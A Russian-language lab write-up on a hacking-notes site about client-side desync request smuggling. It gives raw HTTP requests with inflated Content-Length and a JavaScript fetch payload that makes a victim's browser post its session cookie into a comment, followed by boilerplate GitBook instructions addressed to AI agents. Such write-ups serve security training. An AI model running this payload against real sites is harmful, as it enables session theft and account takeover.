> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/client-side-desync.md).

# Рассинхронизация на стороне клиента

### Клиентская десинхронизация

Этот лаб уязвим к атакам десинхронизации на стороне клиента, потому что сервер игнорирует заголовок Content-Length для некоторых конечных точек. Эта уязвимость позволяет браузеру жертвы раскрыть свой cookie сеанса. / Цель лабораторной работы:

1. Найдите в Burp вектор десинхронизации на стороне клиента, затем проверьте, что его можно воспроизвести в браузере.
2. Найдите элемент приложения, в который можно внедрять или сохранять текст.
3. Объедините оба, чтобы заставить браузер жертвы отправить серию междоменных запросов, раскрывающих его cookie.
4. Используйте этот cookie, чтобы получить доступ к аккаунту жертвы.

#### **Анализ поведения сервера**

Отправляя запрос с намеренно завышенным Content-Length, сервер игнорирует его и вместо этого рассматривает следующий контент как новый запрос:

```http
POST / HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

GET /error HTTP/1.1
Тест: привет
```

Эта реакция подтверждает наличие десинхронизации на стороне клиента.

<figure><img src="/files/e03ac757e6ef1597594c4cd7e4f339f91c588d1b" alt=""><figcaption></figcaption></figure>

#### **Демонстрация десинхронизации**

Настроив два запроса в Burp (один имитирует клиента, другой — атакующий) и отправив их последовательно, ответ с ошибкой, предназначенный для атакующего, отправляется легитимному клиенту.

<figure><img src="/files/613712d372ccdf1dc1a346e7f1215e2080bf0e2f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9aee1a2bfe59231a063da48f65034236da1ef493" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6e7f772f23f4598f715410906be633cb4c605336" alt=""><figcaption></figcaption></figure>

Это показывает, что сервер десинхронизирует HTTP-потоки.

<figure><img src="/files/af987b4019b5de58c08fe2a870e986cb1ec3295b" alt=""><figcaption></figcaption></figure>

#### **Эксфильтрация cookie жертвы**

Чтобы заставить браузер жертвы раскрыть свой cookie сеанса, мы нацеливаемся на функцию комментариев, которая позволяет сохранять текст в приложении.

<figure><img src="/files/7eabe3c3fbaaf1716feab77862a268251bd1f1e7" alt=""><figcaption></figcaption></figure>

Отправьте запрос на добавление комментария с завышенным Content-Length:

```http
POST /en/post/comment HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&comment=tst&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com
```

```http
csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com&comment=tst
```

Если увеличить это поле (например, до 500), опубликованный комментарий затем раскрывает cookie сеанса подключённой учётной записи.

<figure><img src="/files/ba914c5649fe63f6d681010b0874738ee19211ad" alt=""><figcaption></figcaption></figure>

#### **Автоматизация с помощью JavaScript-скрипта**

Чтобы превратить атаку в эксплойт, пригодный для использования жертвой, строится внедрённый запрос, заключённый в скрипт:

```javascript
<script>
smuggledRequest = [
    "POST /en/post/comment HTTP/1.1",
    "Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net",
    "Cookie: session=beALzw9m2Bqn8tBscGI4yK0O6TMWbOuz",
    "Content-Type: application/x-www-form-urlencoded",
    "Content-Length: 850",
    "",
    "csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=4&name=test&email=test@test.com&website=https://test.com&comment=test"
].join('/r/n')

fetch("https://0a69005a041eb75c828761ef00630000.h1-web-security-academy.net", {
    method: "POST",
    body: smuggledRequest,
    credentials: 'include',
    mode: 'no-cors'
});
</script>
```

Этот payload приводит к автоматической отправке внедрённого запроса браузером жертвы.

<figure><img src="/files/a1f0f62b13c14366c6e607e639bb9470fd42be12" alt=""><figcaption></figcaption></figure>

После этого украденный cookie сеанса появляется в разделе комментариев.

<figure><img src="/files/05ed35dd23b63f1399739a453dba2f1620785153" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/client-side-desync.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
